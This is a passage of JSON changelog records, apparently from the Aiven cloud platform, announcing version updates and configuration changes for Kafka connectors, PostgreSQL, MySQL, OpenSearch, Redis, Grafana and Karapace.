1.4.2"} {"_createdAt":"2022-10-27T09:06:31Z","_i18n_lang":"en","_id":"477831e3-c287-4e4a-aa4e-b6439e9ee8b7","_rev":"7JYD5XroFCjaK9NJzk3sdm","_type":"changelog","_updatedAt":"2022-10-27T09:06:31Z","changeType":"","description":[{"_key":"e2ba0bac-7db5-4fc7-9f70-4b0d2adcf098","_type":"block","children":[{"_key":"0551d681-b01a-4f0f-9469-a7c2762231fc","_type":"span","marks":[],"text":"Please see the "},{"_key":"103afba2-3298-4004-800c-ce981e65c34b","_type":"span","marks":["m8791638081933"],"text":"release notes"},{"_key":"1ca3bcdb-580b-48d8-b567-3c46a50f8d62","_type":"span","marks":[],"text":" and the "},{"_key":"d091a89a-74ee-4ff6-8bc5-686277d18b9e","_type":"span","marks":["m1776731392458"],"text":"documentation"},{"_key":"3d903c98-a8e2-45e9-a62c-47d31dc31619","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8791638081933","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.1.1"},{"_key":"m1776731392458","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc"}],"style":"normal"}],"publishedAt":"2020-06-22T00:00:00.000Z","tags":[{"_key":"e209fe55-6333-44c9-a957-023bb9e8f3e5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.1.1"} {"_createdAt":"2022-10-27T09:06:56Z","_i18n_lang":"en","_id":"477de416-254f-485f-802c-db19288526e1","_rev":"ncjVtEY290Sap8rHbFwgUV","_type":"changelog","_updatedAt":"2022-10-27T09:06:56Z","changeType":"","description":[{"_key":"a034a38c-f13e-41ae-bc1e-a37344468837","_type":"block","children":[{"_key":"9d8ae7e9-5e00-4751-87fe-db3db9e2c6bc","_type":"span","marks":[],"text":"Please see "},{"_key":"f16cea83-acee-431d-be9a-6476e1b6836b","_type":"span","marks":["m3474100429168"],"text":"the changelog"},{"_key":"36dbdaf8-38a1-4b15-b1dd-095f86c5769a","_type":"span","marks":[],"text":" and "},{"_key":"9206697b-157f-413d-a122-006ae713511b","_type":"span","marks":["m7098015741234"],"text":"the documentation"},{"_key":"68a74ab8-1bfb-4fd2-b0ec-674524d14866","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3474100429168","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/releases/tag/v0.3.0"},{"_key":"m7098015741234","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs"}],"style":"normal"}],"publishedAt":"2020-03-25T00:00:00.000Z","tags":[{"_key":"e9305f3f-ba96-4422-becc-60dee71344f2","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect GCS sink connector by Aiven has been updated to version 0.3.0"} {"_createdAt":"2022-10-27T09:03:56Z","_i18n_lang":"en","_id":"47931690-5cf9-4219-bed7-abcf2eed0042","_rev":"MEha5B96IszmAjyiiUpNna","_type":"changelog","_updatedAt":"2022-10-27T09:03:56Z","changeType":"","publishedAt":"2021-07-12T00:00:00.000Z","tags":[{"_key":"0df801ed-0c60-4146-ba91-c6b82274f4b2","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL now allows enabling the REPLICATION attribute for new and existing users."} {"_createdAt":"2022-10-27T09:04:02Z","_i18n_lang":"en","_id":"47a82135-1f90-4c00-a613-d68ebb0fdda4","_rev":"rHrbN7cdfRjM6CvZf3JEdw","_type":"changelog","_updatedAt":"2022-10-27T09:04:02Z","changeType":"","description":[{"_key":"7180abbc-cb84-4c4f-9199-942612ce8458","_type":"block","children":[{"_key":"56d02681-1c52-4864-a7bf-09d83c9dfe7a","_type":"span","marks":[],"text":"Please see the "},{"_key":"0d67a8fc-0760-4877-b9e2-08b5c0569f36","_type":"span","marks":["m2472144333295"],"text":"Release Notes"},{"_key":"119c961e-0f67-453a-b0db-d3b90d0eabe2","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m2472144333295","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-25.html"}],"style":"normal"}],"publishedAt":"2021-06-24T00:00:00.000Z","tags":[{"_key":"bf938fc7-66c0-4e06-b179-bf61a6e5c955","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"MySQL server version 8.0.25 now available"} {"_createdAt":"2022-10-27T09:03:04Z","_i18n_lang":"en","_id":"4945c699-8c07-4fe0-b10b-83fa941dd33a","_rev":"MEha5B96IszmAjyiiUpDJe","_type":"changelog","_updatedAt":"2022-10-27T09:03:04Z","changeType":"","description":[{"_key":"eed2db79-ef99-46f1-a5c8-0267b06843fc","_type":"block","children":[{"_key":"dc28688d-0391-40f9-8532-720723d41fe2","_type":"span","marks":[],"text":"To see what has changed, see its "},{"_key":"1c1c4bf0-1ce1-4b25-b604-5ddc5f3adfa2","_type":"span","marks":["m15190080718481"],"text":"release notes"},{"_key":"17496c2f-31cb-475f-99b6-b19e2ed843b8","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15190080718481","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-1.2.4.md"}],"style":"normal"}],"publishedAt":"2022-02-02T00:00:00.000Z","tags":[{"_key":"9b4d7a8c-52f1-429a-8829-1b721d124fcd","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Aiven for OpenSearch version 1.2.4 is now available"} {"__i18n_lang":"en","_createdAt":"2024-01-31T10:46:48Z","_id":"499ab869-13e1-4726-89bf-4d6df9922e7d","_rev":"dl6sBLkN4BMAndS1z8d6gN","_type":"changelog","_updatedAt":"2024-04-02T15:10:32Z","changeType":"improved","description":[{"_key":"78781c011b01","_type":"block","children":[{"_key":"69037bd418a70","_type":"span","marks":[],"text":"A new configuration parameter has been added to the Syslog integration endpoint for adjusting the maximum Rsyslog message size. This enhancement can help improve readability and stability, especially in scenarios where customizing message sizes is crucial.\nCheck out the new "},{"_key":"774fb6dbbe94","_type":"span","marks":["code"],"text":"Rsyslog max message size"},{"_key":"1009e8067d61","_type":"span","marks":[],"text":" setting in the "},{"_key":"69037bd418a73","_type":"span","marks":["65838c9664a4"],"text":"Aiven Console"},{"_key":"69037bd418a74","_type":"span","marks":[],"text":" \u003e your project page \u003e "},{"_key":"f5c850001919","_type":"span","marks":["strong"],"text":"Integration endpoints"},{"_key":"1eef5fc74833","_type":"span","marks":[],"text":" \u003e "},{"_key":"5d272792c640","_type":"span","marks":["strong"],"text":"Syslog"},{"_key":"effa1e2d95b1","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"65838c9664a4","_type":"link","href":"https://console.aiven.io/"}],"style":"normal"}],"publishedAt":"2024-01-22T10:47:00.000Z","tags":[{"_key":"e2624db0f20c","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"},{"_key":"9e42a0464fcf","_ref":"8d65be65-39e0-4efa-ad0c-87342113389c","_type":"tool"},{"_key":"560d7ba76adc","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"New max-message-size setting for Syslog integrations"} {"__i18n_lang":"en","_createdAt":"2023-11-30T10:14:59Z","_id":"4a527e54-f355-4fa6-a411-d9e08871b1da","_rev":"A6877bpl8a6IECeaPsLsYh","_type":"changelog","_updatedAt":"2023-12-11T14:39:37Z","changeType":"new","description":[{"_key":"a4d66e7fc0a2","_type":"block","children":[{"_key":"3419391261bb0","_type":"span","marks":[],"text":"Previously, email notifications about services were sent to a mix of project admins, operators, and designated technical contacts. The new notification settings replaces technical contacts with project and service contacts, letting you choose who receives notifications."}],"markDefs":[],"style":"normal"},{"_key":"43789a46d982","_type":"block","children":[{"_key":"5441cd69ecf00","_type":"span","marks":[],"text":"Service contacts receive all notifications for that service. If no service contacts are set, email notifications will be sent to the project contacts. The default project contacts are the project admins and operators."}],"markDefs":[],"style":"normal"},{"_key":"075e7d1ed84d","_type":"block","children":[{"_key":"b970c757ac850","_type":"span","marks":[],"text":"Using these settings, you can ensure the right people receive important updates and avoid overwhelming others with unnecessary emails."}],"markDefs":[],"style":"normal"},{"_key":"685c600e8150","_type":"block","children":[{"_key":"8ab1eff79721","_type":"span","marks":[],"text":"Learn more about notifications and how to set contacts in the "},{"_key":"b76760a790e8","_type":"span","marks":["7a3cec31c88c"],"text":"documentation"},{"_key":"7f7e53f5d516","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"7a3cec31c88c","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/technical-emails"}],"style":"normal"}],"publishedAt":"2023-12-11T14:36:43.401Z","tags":[{"_key":"0677d3e8d8f2","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Improved email notification settings for projects and services"} {"_createdAt":"2022-10-27T09:01:55Z","_i18n_lang":"en","_id":"4c5460b2-fd76-4cc7-b776-54cfcc3e9bd5","_rev":"pnOvEyahjeT2Gte9fWgCFP","_type":"changelog","_updatedAt":"2023-01-26T11:30:31Z","changeType":"improved","description":[{"_key":"0e54945e498f","_type":"block","children":[{"_key":"d2d35d39fef10","_type":"span","marks":[],"text":"Aiven for PostgreSQL TimescaleDB extension has been updated to version 2.8.1. This patch release fixes issues identified in the previous versions. Upgrade the extension at the first opportunity to make sure you use the most secure and robust version available. For more information about the release content, see "},{"_key":"9fa33bae0589","_type":"span","marks":["0aa8400376da"],"text":"TimescaleDB 2.8.1 release (2022-10-11)"},{"_key":"f2369f64892e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"0aa8400376da","_type":"link","href":"https://github.com/timescale/timescaledb/releases/tag/2.8.1"}],"style":"normal"}],"publishedAt":"2022-10-11T00:00:00.000Z","tags":[{"_key":"dfa78986-44fc-4ead-a4f9-82112d5552a6","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.8.1 is available."} {"_createdAt":"2022-10-27T09:08:15Z","_i18n_lang":"en","_id":"4cff0cd4-ea18-422e-9509-5506ddb8b417","_rev":"chYcdg0OBeHzQFNhareBEP","_type":"changelog","_updatedAt":"2022-10-27T09:08:15Z","changeType":"","publishedAt":"2019-06-26T00:00:00.000Z","tags":[{"_key":"4a9a09d9-4250-407f-9ac1-ca29d8467f32","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.3.2."} {"_createdAt":"2022-10-27T09:03:28Z","_i18n_lang":"en","_id":"4d2c6f89-0b62-4675-9da4-487c636536b5","_rev":"rHrbN7cdfRjM6CvZf3JAT8","_type":"changelog","_updatedAt":"2022-10-27T09:03:28Z","changeType":"","description":[{"_key":"76d4ae85-da84-463b-a7cc-c79431dd73b7","_type":"block","children":[{"_key":"43d57cb0-6ccf-44d4-bfdc-31da12ff9e39","_type":"span","marks":[],"text":"PostgreSQL 14 comes with many new features and performance enhancements. Please see the "},{"_key":"c3c1f3ee-ff8a-4969-8cad-aad4eac4b2fa","_type":"span","marks":["m5381518020882"],"text":"release notes"},{"_key":"fee49b0f-ffe9-45cb-9583-e3d7a018f5d2","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m5381518020882","_type":"link","href":"https://www.postgresql.org/docs/14/release-14.html"}],"style":"normal"}],"publishedAt":"2021-11-15T00:00:00.000Z","tags":[{"_key":"b720e31d-12c1-4739-9d72-80915e1b00a0","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL 14 now available"} {"__i18n_lang":"en","_createdAt":"2024-05-31T09:29:11Z","_id":"4dc9f189-a6a0-4ef2-9bac-78a02ced4288","_rev":"70Zz6ZhTuM1i3ILIkljn8m","_type":"changelog","_updatedAt":"2024-06-03T07:49:07Z","changeType":"new","description":[{"_key":"1d185518837d","_type":"block","children":[{"_key":"57b683c0a1530","_type":"span","marks":[],"text":"Aiven for OpenSearch has been updated to version 2.14.0. This update introduces new features and enhancements for both OpenSearch and OpenSearch Dashboards.\n\n"},{"_key":"57b683c0a1531","_type":"span","marks":["strong"],"text":"What's new in OpenSearch 2.14.0:"}],"markDefs":[],"style":"normal"},{"_key":"31c0b0fce95f","_type":"block","children":[{"_key":"fc93f9664e790","_type":"span","marks":[],"text":"Improve search and analytics performance with hybrid search functionality combining neural and lexical search, offering up to 4x performance increases."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f122e2315508","_type":"block","children":[{"_key":"bb17ea728f2a0","_type":"span","marks":[],"text":"Gain real-time insights into query performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5f76185a3486","_type":"block","children":[{"_key":"2fa7797de3d00","_type":"span","marks":[],"text":"Reduce memory footprint for FAISS engine indexes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"19a092272efb","_type":"block","children":[{"_key":"1377ed5360a60","_type":"span","marks":[],"text":"Query and manage external data sources more efficiently with expanded functionality for multiple data sources."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"71e6332aad64","_type":"block","children":[{"_key":"a654a55fb6670","_type":"span","marks":[],"text":"Support resiliency with I/O-based admission control."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e1eac64454d6","_type":"block","children":[{"_key":"c1f8122284430","_type":"span","marks":[],"text":"Boost performance for hybrid search use cases."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"657b8222e1ac","_type":"block","children":[{"_key":"f7d1713415ad0","_type":"span","marks":[],"text":"Accelerate date histogram queries with multi-range traversal, especially benefiting time-series data analysis."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d1f8f63dae57","_type":"block","children":[{"_key":"dd6e7c6333dc0","_type":"span","marks":[],"text":"Improve search efficiency with tiered caching within the request cache (Experimental)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2df92bc9e6ec","_type":"block","children":[{"_key":"3a999e0683d20","_type":"span","marks":[],"text":"Access multiple data sources with consistent navigation and discovery tools."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f1639db042a","_type":"block","children":[{"_key":"799a04007c6b0","_type":"span","marks":[],"text":"Filter k-NN results based on maximum distance or vector score."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c19daa2684ee","_type":"block","children":[{"_key":"ff817c698c630","_type":"span","marks":[],"text":"Build search pipelines with index alias support."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"99df6f0532cf","_type":"block","children":[{"_key":"6421371e3e690","_type":"span","marks":[],"text":"For more details on all the new features and improvements in OpenSearch 2.14.0, see the "},{"_key":"6421371e3e691","_type":"span","marks":["ae939036c2af"],"text":"OpenSearch Release Notes 2.14.0"},{"_key":"6421371e3e692","_type":"span","marks":[],"text":". Apply the "},{"_key":"6421371e3e693","_type":"span","marks":["1727a2f7b657"],"text":"service maintenance updates"},{"_key":"6421371e3e694","_type":"span","marks":[],"text":" to upgrade to this version. For more information, see "},{"_key":"24292bd563ea","_type":"span","marks":["49ee606ac439"],"text":"Aiven for OpenSearch documentation"},{"_key":"6941e8f2477b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"49ee606ac439","_type":"link","href":"https://aiven.io/docs/products/opensearch"},{"_key":"ae939036c2af","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-2.14.0.md"},{"_key":"1727a2f7b657","_type":"link","href":"https://aiven.io/docs/platform/concepts/maintenance-window"}],"style":"normal"}],"publishedAt":"2024-06-03T07:50:58.786Z","tags":[{"_key":"8f3e1f6610e6","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"OpenSearch® 2.14.0 is now available on Aiven for OpenSearch®"} {"_createdAt":"2022-10-27T09:01:58Z","_i18n_lang":"en","_id":"4ec31264-58cd-4cfd-bb51-12cca73d1ecb","_rev":"6wJ6OxF1mPB2I3zefuiQXR","_type":"changelog","_updatedAt":"2023-01-26T11:29:56Z","changeType":"improved","description":[{"_key":"4884ab74-5adf-4cc5-a812-f176801da73d","_type":"block","children":[{"_key":"35a835ba-67bd-4c36-98d5-46ee73816f8a","_type":"span","marks":[],"text":"Please see the "},{"_key":"a08dfd6f-6ae7-4126-b9a5-9210420954be","_type":"span","marks":["m1099432213635"],"text":"Changelog"},{"_key":"6352b622-8e2e-4246-9a5b-bf7f36f3d454","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m1099432213635","_type":"link","href":"https://raw.githubusercontent.com/redis/redis/7.0/00-RELEASENOTES/"}],"style":"normal"}],"publishedAt":"2022-09-22T00:00:00.000Z","tags":[{"_key":"dec9dcdf-99b5-44c9-ab1d-1e3cf5ebf7d1","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to version 7.0.5"} {"_createdAt":"2022-10-27T09:04:17Z","_i18n_lang":"en","_id":"4f0ffe16-1682-4ab5-b2b1-3949be6c2d23","_rev":"WYf15BwQWb3V4yHfbxO0Dz","_type":"changelog","_updatedAt":"2022-10-27T09:04:17Z","changeType":"","description":[{"_key":"d582014f-46ac-4f50-be0a-3f1800f2d643","_type":"block","children":[{"_key":"e5788e24-8d21-41ab-a392-6c7d72b3c684","_type":"span","marks":[],"text":"Existing services should not be affected. If you need to downgrade TLS on your service for compatibility reasons, please contact our support."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-05-20T00:00:00.000Z","tags":[{"_key":"0c698927-2633-45e2-af69-1f2085db4d32","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"By default, all new PostgreSQL 12 services will have ssl_min_protocol_version option set to TLSv1.2 for security reasons"} {"_createdAt":"2022-10-27T09:02:09Z","_i18n_lang":"en","_id":"50d214df-eb5d-4439-a7e8-5c4baebe0128","_rev":"WYf15BwQWb3V4yHfbxNJ63","_type":"changelog","_updatedAt":"2022-10-27T09:02:09Z","changeType":"","description":[{"_key":"df320361-69e6-4c65-98e1-418ceaa9e511","_type":"block","children":[{"_key":"d144ed0c-2c61-4c59-a275-a1e64060b13c","_type":"span","marks":[],"text":"It also includes the fix for a critical bug where after updating the listener SSL certificate with a dynamic broker configuration update, the old certificate was still used for the broker client SSL factory. This caused the broker fails to create new connections to the controller after the old certificate expired. For more information, see "},{"_key":"db312857-050b-44ef-882c-5fb435e06b62","_type":"span","marks":["m5648367528006"],"text":"Release Notes - Kafka - Version 3.2.1"},{"_key":"1681683f-d4b9-45cf-9326-cd1bdbdbebad","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m5648367528006","_type":"link","href":"https://downloads.apache.org/kafka/3.2.1/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2022-08-24T00:00:00.000Z","tags":[{"_key":"db55fe54-e06c-4f60-9f1a-065060e30a5a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 3.2.1 is now available"} {"_createdAt":"2022-10-27T09:04:37Z","_i18n_lang":"en","_id":"511b0c54-2342-406e-94ba-ce25fc01b5e7","_rev":"RS2LhK1JP0SKK0JvX1Q0w1","_type":"changelog","_updatedAt":"2022-10-27T09:04:37Z","changeType":"","publishedAt":"2021-04-19T00:00:00.000Z","tags":[{"_key":"66cdd3cb-4c10-4506-97b6-401966fbccd5","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 2.2.0."} {"_createdAt":"2022-10-27T09:09:14Z","_i18n_lang":"en","_id":"51356795-b395-4ca2-a42f-6e844ac598a0","_rev":"dTcxLudMA3V5vz7pZEQifl","_type":"changelog","_updatedAt":"2022-10-27T09:09:14Z","changeType":"","publishedAt":"2018-11-29T00:00:00.000Z","tags":[{"_key":"1079b95a-3b24-4a6e-bf95-bf2f41df9941","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka 2.1.0 is now supported as an additional new major version option."} {"_createdAt":"2022-10-27T09:07:46Z","_i18n_lang":"en","_id":"5236345b-9f3b-4eb4-8a2b-b69c575601d2","_rev":"C4pC7IakZ1PpJ4LWR2B60D","_type":"changelog","_updatedAt":"2022-10-27T09:07:46Z","changeType":"","publishedAt":"2019-10-16T00:00:00.000Z","tags":[{"_key":"e7c3849d-303a-4aec-aa6f-bacda7694213","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's pgstattuple extension is now supported for PostgreSQL versions 10 and 11."} {"_createdAt":"2022-10-27T09:09:13Z","_i18n_lang":"en","_id":"5306fce5-40cf-4b50-9712-db7f7cbda038","_rev":"RS2LhK1JP0SKK0JvX1RAO1","_type":"changelog","_updatedAt":"2022-10-27T09:09:13Z","changeType":"","publishedAt":"2018-12-03T00:00:00.000Z","tags":[{"_key":"010242b7-d1b6-410b-98cd-a11e7b456229","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka Connect includes Google Cloud Pub/Sub and Couchbase sink and source connectors."} {"_createdAt":"2022-10-27T09:01:57Z","_i18n_lang":"en","_id":"534ec39e-71e1-4de9-85a3-c3d255268727","_rev":"4REy1yLW2KYGlBbGorLVsc","_type":"changelog","_updatedAt":"2023-01-26T11:30:05Z","changeType":"improved","description":[{"_key":"07e711ae-5840-4aa9-a0fd-cc5de44d42d6","_type":"block","children":[{"_key":"165a99ef-8d87-421c-bd83-90e0487f7e86","_type":"span","marks":[],"text":"Please see the "},{"_key":"cd318e56-f048-4d16-be6c-08ea99662406","_type":"span","marks":["m9975343536745"],"text":"release notes"},{"_key":"e11a68ec-7163-4380-af18-3924abd46cdd","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m9975343536745","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v8-5/"}],"style":"normal"}],"publishedAt":"2022-09-27T00:00:00.000Z","tags":[{"_key":"213fd942-6041-4771-b6b7-b52825730edf","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 8.5.13"} {"_createdAt":"2022-10-27T09:04:55Z","_i18n_lang":"en","_id":"53bfb817-2c0e-4087-8037-913d3ca4211d","_rev":"G4qVVLRzbD2hZSG98TuKf4","_type":"changelog","_updatedAt":"2022-10-27T09:04:55Z","changeType":"","publishedAt":"2021-02-26T00:00:00.000Z","tags":[{"_key":"7a26d970-6876-4962-a703-8e9310bb8ff4","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Aiven for MySQL now supports enabling slow query logging"} {"__i18n_lang":"en","_createdAt":"2022-12-02T16:04:17Z","_id":"557f4328-dd33-4bbc-9b01-f92ed9edc472","_rev":"IiYi5XVNmR5WYQ23CFYyds","_type":"changelog","_updatedAt":"2022-12-22T10:46:09Z","changeType":"new","description":[{"_key":"875c7679ab96","_type":"block","children":[{"_key":"6a020639ac820","_type":"span","marks":[],"text":"Karapace version 3.4.2 allows you to enable and use Apache Kafka authorization via REST proxy. Any new Aiven for Apache Kafka service created will now include Karapace version 3.4.2. The existing Aiven for Apache Kafka service users will need to run the maintenance upgrade to use Karapace 3.4.2. This version also includes various bug fixes. To view the complete list of fixes in this version, see "},{"_key":"6a020639ac821","_type":"span","marks":["a6292ce7e554"],"text":"Karapace release notes"},{"_key":"6a020639ac822","_type":"span","marks":[],"text":". To know how to enable and use Apache Kafka authorization via REST proxy, see "},{"_key":"6a020639ac823","_type":"span","marks":["52ccd42095e9"],"text":"Karapace documentation"},{"_key":"6a020639ac824","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a6292ce7e554","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.4.2"},{"_key":"52ccd42095e9","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/karapace/getting-started.html"}],"style":"normal"}],"publishedAt":"2022-11-25T16:04:00.000Z","tags":[{"_key":"ba9dc1ab7805","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to version 3.4.2."} {"_createdAt":"2022-10-27T09:10:18Z","_i18n_lang":"en","_id":"55a6e877-a51b-4394-8492-e5f73780fba7","_rev":"C4pC7IakZ1PpJ4LWR2B7jv","_type":"changelog","_updatedAt":"2022-10-27T09:10:18Z","changeType":"","publishedAt":"2018-04-19T00:00:00.000Z","tags":[{"_key":"5332fb97-d18c-4d98-95ef-d41919d1d509","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"\u003ca href=\"https://help.aiven.io/kafka/kafka-topic-auto-create\"\u003eHelp article\u003c/a\u003e for enabling topic auto-create in Kafka and setting default values for topic configuration"} {"_createdAt":"2022-10-27T09:05:19Z","_i18n_lang":"en","_id":"55fa5f40-f0be-4377-a661-7b13983418fc","_rev":"7JYD5XroFCjaK9NJzk3qS0","_type":"changelog","_updatedAt":"2022-10-27T09:05:19Z","changeType":"","description":[{"_key":"11a0112e-d99e-423d-b4e4-2668b5a7f1f4","_type":"block","children":[{"_key":"4de62d12-d394-4b15-869b-25cce5f02de2","_type":"span","marks":[],"text":"Please see the "},{"_key":"fcd5c507-8281-4fee-ae71-10d8df2c794c","_type":"span","marks":["m16060911949624"],"text":"release notes"},{"_key":"3b2e8a2a-ae93-4961-b9f8-864b9ae8be32","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m16060911949624","_type":"link","href":"https://community.grafana.com/t/release-notes-v7-3-x/37993"}],"style":"normal"}],"publishedAt":"2020-12-29T00:00:00.000Z","tags":[{"_key":"a5d3c882-6421-41d1-a368-d2c5c3d4340c","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 7.3.5"} {"_createdAt":"2022-10-27T09:04:39Z","_i18n_lang":"en","_id":"5774dc98-9b02-4135-885a-0e36d762ed03","_rev":"MEha5B96IszmAjyiiUpR9z","_type":"changelog","_updatedAt":"2022-10-27T09:04:39Z","changeType":"","description":[{"_key":"f662d9d4-d24e-48a5-9d7a-82236c016704","_type":"block","children":[{"_key":"7f2f9c1b-74e4-4c5b-8191-9fdfb1404830","_type":"span","marks":[],"text":"Please see the "},{"_key":"18c28d68-8d97-47b5-b37d-4f78cb348943","_type":"span","marks":["m16362802047519"],"text":"release notes"},{"_key":"782e0d0a-6bab-48d3-8924-598bdaafc51a","_type":"span","marks":[],"text":" and the "},{"_key":"cf25e44f-1533-4972-94ff-2577a9c73a59","_type":"span","marks":["m9599829533904"],"text":"documentation"},{"_key":"66a4240f-915b-4be0-b17d-e0f0159f1e6f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16362802047519","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/releases/tag/v0.3.0"},{"_key":"m9599829533904","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/blob/v0.3.0/docs/sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2021-04-07T00:00:00.000Z","tags":[{"_key":"b5b81c5e-602c-46fa-bd67-8435e0207855","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink HTTP connector have been updated to version 0.3.0"} {"__i18n_lang":"en","_createdAt":"2023-02-03T12:19:18Z","_id":"58398b1c-d3b5-443e-88ff-0a81c722ef72","_rev":"RksXZeZKLvjmDTh00dLhDg","_type":"changelog","_updatedAt":"2023-03-15T13:03:00Z","changeType":"new","description":[{"_key":"9ba4a8864bfa","_type":"block","children":[{"_key":"ec7f490d4b5f0","_type":"span","marks":[],"text":"Aiven for PostgreSQL® has been updated to latest minor versions 15.2, 14.7, 13.10, 12.14, and 11.19, which contain a variety of fixes to previous versions. "}],"markDefs":[{"_key":"7bbca545cad8","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"},{"_key":"eb7862c168ec","_type":"block","children":[{"_key":"5ccd3fca45da","_type":"span","marks":[],"text":"Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"c4999dbb0d03","_type":"block","children":[{"_key":"b47bc211515f","_type":"span","marks":[],"text":"See "},{"_key":"ec7f490d4b5f1","_type":"span","marks":["7bbca545cad8"],"text":"PostgreSQL release notes"},{"_key":"ec7f490d4b5f2","_type":"span","marks":[],"text":" for more details about the PostgreSQL® minor releases."}],"markDefs":[{"_key":"7bbca545cad8","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2023-03-15T13:01:00.000Z","tags":[{"_key":"82f548755a16","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® updated to 15.2, 14.7, 13.10, 12.14, 11.19"} {"_createdAt":"2022-10-27T09:11:53Z","_i18n_lang":"en","_id":"58430af4-4c3c-4ad6-a444-5b775b482658","_rev":"WYf15BwQWb3V4yHfbxPz6B","_type":"changelog","_updatedAt":"2022-10-27T09:11:53Z","changeType":"","description":[{"_key":"0264e494-6fc8-4bbd-b734-4dda8165b7c7","_type":"block","children":[{"_key":"d5f7713c-0cbf-4594-b415-1cf3aaa07a55","_type":"span","marks":[],"text":"Allowed values range between 1 and 14400 minutes. Default value remains the same at 1440 